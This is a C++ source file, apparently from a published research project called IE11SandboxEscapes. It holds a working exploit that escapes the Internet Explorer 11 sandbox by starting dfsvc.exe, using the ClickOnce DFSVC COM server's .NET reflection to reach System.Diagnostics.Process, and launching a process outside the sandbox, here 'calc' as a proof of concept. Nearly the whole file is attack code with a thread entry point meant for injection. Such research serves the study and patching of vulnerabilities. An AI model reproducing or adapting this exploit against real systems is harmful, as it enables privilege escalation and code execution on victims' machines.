Permalink
Cannot retrieve contributors at this time
// This file is part of IE11SandboxEsacapes. | |
// IE11SandboxEscapes is free software: you can redistribute it and/or modify | |
// it under the terms of the GNU General Public License as published by | |
// the Free Software Foundation, either version 3 of the License, or | |
// (at your option) any later version. | |
// IE11SandboxEscapes is distributed in the hope that it will be useful, | |
// but WITHOUT ANY WARRANTY; without even the implied warranty of | |
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
// GNU General Public License for more details. | |
// You should have received a copy of the GNU General Public License | |
// along with IE11SandboxEscapes. If not, see <http://www.gnu.org/licenses/>. | |
#include "stdafx.h" | |
#import <mscorlib.tlb> rename("ReportEvent", "_ReportEvent") | |
const wchar_t CLSID_DFSVC[] = L"{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}"; | |
long GetSafeArrayLen(LPSAFEARRAY psa) | |
{ | |
long ubound = 0; | |
SafeArrayGetUBound(psa, 1, &ubound); | |
return ubound + 1; | |
} | |
mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount) | |
{ | |
LPSAFEARRAY methods = type->GetMethods_2(); | |
mscorlib::_MethodInfoPtr ret; | |
LONG methodCount = GetSafeArrayLen(methods); | |
for (long i = 0; i < methodCount; ++i) | |
{ | |
IUnknown* v = nullptr; | |
if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v))) | |
{ | |
mscorlib::_MethodInfoPtr method = v; | |
bstr_t name = method->Getname(); | |
LPSAFEARRAY params = method->GetParameters(); | |
long paramCount = GetSafeArrayLen(params); | |
if (method->IsStatic && wcscmp(name.GetBSTR(), findName) == 0 && paramCount == pcount) | |
{ | |
ret = method; | |
break; | |
} | |
} | |
} | |
SafeArrayDestroy(methods); | |
return ret; | |
} | |
template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args) | |
{ | |
variant_t obj; | |
T retObj; | |
SAFEARRAY * psa; | |
SAFEARRAYBOUND rgsabound[1]; | |
rgsabound[0].lLbound = 0; | |
rgsabound[0].cElements = (ULONG)args.size(); | |
psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound); | |
for (LONG indicies = 0; indicies < (LONG)args.size(); ++indicies) | |
{ | |
SafeArrayPutElement(psa, &indicies, &args[indicies]); | |
} | |
variant_t ret = method->Invoke_3(obj, psa); | |
if ((ret.vt == VT_UNKNOWN) || (ret.vt == VT_DISPATCH)) | |
{ | |
retObj = ret.punkVal; | |
} | |
SafeArrayDestroy(psa); | |
return retObj; | |
} | |
void DoDfsvcExploit() | |
{ | |
CLSID clsid; | |
CLSIDFromString(CLSID_DFSVC, &clsid); | |
DebugPrintf("Starting DFSVC Exploit\n"); | |
mscorlib::_ObjectPtr obj; | |
HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj)); | |
if (FAILED(hr)) | |
{ | |
WCHAR cmdline[] = L"dfsvc.exe"; | |
STARTUPINFO startInfo = { 0 }; | |
PROCESS_INFORMATION procInfo = { 0 }; | |
// Start dfsvc (because we can due to the ElevationPolicy) | |
if (CreateProcess(L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline, | |
nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo)) | |
{ | |
CloseHandle(procInfo.hProcess); | |
CloseHandle(procInfo.hThread); | |
// Just sleep to ensure it comes up | |
Sleep(4000); | |
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj)); | |
} | |
else | |
{ | |
DebugPrintf("Couldn't create service %d\n", GetLastError()); | |
} | |
} | |
if (SUCCEEDED(hr)) | |
{ | |
try | |
{ | |
mscorlib::_TypePtr type = obj->GetType(); | |
// Get type of Type (note defaults to RuntimeType then TypeInfo) | |
type = type->GetType()->BaseType->BaseType; | |
DebugPrintf("TypeName: %ls", type->FullName.GetBSTR()); | |
mscorlib::_MethodInfoPtr getTypeMethod = GetStaticMethod(type, L"GetType", 1); | |
DebugPrintf("getTypeMethod: %p", (void*)getTypeMethod); | |
std::vector<variant_t> getTypeArgs; | |
getTypeArgs.push_back(L"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"); | |
// Get process type | |
type = ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs); | |
if (type) | |
{ | |
mscorlib::_MethodInfoPtr startMethod = GetStaticMethod(type, L"Start", 2); | |
if (startMethod) | |
{ | |
std::vector<variant_t> startArgs; | |
startArgs.push_back(L"calc"); | |
startArgs.push_back(L""); | |
ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs); | |
} | |
else | |
{ | |
DebugPrintf("Couldn't find Start method"); | |
} | |
} | |
else | |
{ | |
DebugPrintf("Couldn't find Process Type"); | |
} | |
} | |
catch (_com_error e) | |
{ | |
DebugPrintf("COM Error: %ls\n", e.ErrorMessage()); | |
} | |
} | |
else | |
{ | |
DebugPrintf("Error get dfsvc IUnknown: %08X\n", hr); | |
} | |
} | |
DWORD CALLBACK ExploitThread(LPVOID hModule) | |
{ | |
CoInitialize(nullptr); | |
DoDfsvcExploit(); | |
CoUninitialize(); | |
FreeLibraryAndExitThread((HMODULE)hModule, 0); | |
} |